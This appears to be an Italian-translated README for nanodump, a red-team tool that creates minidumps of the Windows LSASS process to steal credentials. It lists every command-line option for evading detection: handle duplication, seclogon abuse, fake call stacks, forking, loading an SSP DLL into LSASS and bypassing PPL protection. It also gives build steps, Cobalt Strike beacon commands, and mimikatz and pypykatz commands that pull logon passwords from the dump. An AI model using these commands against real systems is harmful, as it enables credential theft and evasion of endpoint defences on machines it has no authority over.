
Il coltellino svizzero del dump di LSASS
Uno strumento flessibile che crea un minidump del processo LSASS.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
Su Linux con MinGW
make -f Makefile.mingw
Su Windows con MSVC (nessun supporto BOF)
nmake -f Makefile.msvc
Importa lo script NanoDump.cna su Cobalt Strike.
Esegui il comando nanodump nella console Beacon o il binario nanodump.x64.exe.
Se non hai specificato il flag --valid, devi ripristinare la firma non valida
scripts/restore_signature <dumpfile>
mimikatz:
Per ottenere i segreti, esegui semplicemente:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Se preferisci rimanere su Linux, puoi usare la versione Python3 di mimikatz chiamata pypykatz:
python3 -m pypykatz lsa minidump <dumpfie>
Per evitare di aprire un handle a LSASS con PROCESS_VM_READ, puoi usare il parametro --fork.
Questo farà sì che nanodump crei un handle a LSASS con accesso PROCESS_CREATE_PROCESS e poi crei un 'clone' del processo. Questo nuovo processo verrà poi dumpato. Sebbene ciò comporti la creazione e la cancellazione di un processo, elimina la necessità di leggere LSASS direttamente.
Analogamente all'opzione --fork, puoi usare --snapshot per creare uno snapshot del processo LSASS.
Questo farà sì che nanodump crei un handle a LSASS con accesso PROCESS_CREATE_PROCESS e poi crei uno snapshot del processo usando PssNtCaptureSnapshot. Questo nuovo processo verrà poi dumpato. Lo snapshot verrà liberato automaticamente al completamento.
Poiché l'apertura di un handle a LSASS può essere rilevata, nanodump può invece cercare handle esistenti a LSASS.
Se ne viene trovato uno, lo copierà e lo userà per creare il minidump.
Nota che non è garantito trovare tale handle.
Puoi ottenere un handle a LSASS con PROCESS_QUERY_LIMITED_INFORMATION, che probabilmente è nella whitelist, e poi elevare quell'handle duplicandolo.
Per evitare di aprire un handle a LSASS, puoi abusare del servizio seclogon chiamando CreateProcessWithLogonW per far trapelare un handle LSASS nel binario nanodump.
Per abilitare questa funzionalità, usa il parametro --seclogon-leak-local.
Tieni presente che, quando usato da Cobalt Strike, un binario nanodump non firmato deve essere scritto su disco per utilizzare questa funzionalità.
Questa tecnica è molto simile alla precedente, ma invece di far trapelare l'handle in nanodump, viene fatto trapelare in un altro binario e poi duplicato in modo che nanodump possa usarlo.
Usa il flag --seclogon-leak-remote per accedere a questa funzionalità.
Puoi ingannare il processo seclogon in modo che apra un handle a LSASS e lo duplichi prima che venga chiuso, vincendo una race condition usando lock sui file.
Usa il flag --seclogon-duplicate per accedere a questa funzionalità.
Puoi caricare nanodump come SSP in LSASS per evitare di aprire un handle.
Quando la DLL è stata caricata in LSASS, i parametri verranno passati tramite una named pipe e, una volta completato il dump, DllMain restituirà FALSE per fare in modo che LSASS scarichi la DLL nanodump.
Puoi hardcodare i parametri nella DLL ed evitare del tutto l'uso della named pipe con il flag del compilatore PASS_PARAMS_VIA_NAMED_PIPES=0.
Per impostazione predefinita, una DLL nanodump non firmata verrà caricata nella cartella Temp, che verrà eliminata automaticamente.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Se vuoi caricare una DLL preesistente, puoi eseguire:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Nota che questa vulnerabilità è stata corretta nel pacchetto di aggiornamento di luglio 2022 (Windows 10 21H2 Build 19044.1826)
Per accedere a questa funzionalità, usa il comando nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
Per accedere a questa funzionalità, usa il comando nanodump_ppl_medic
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
Poiché il dump non è realizzato da nanodump, avrà sempre una firma valida.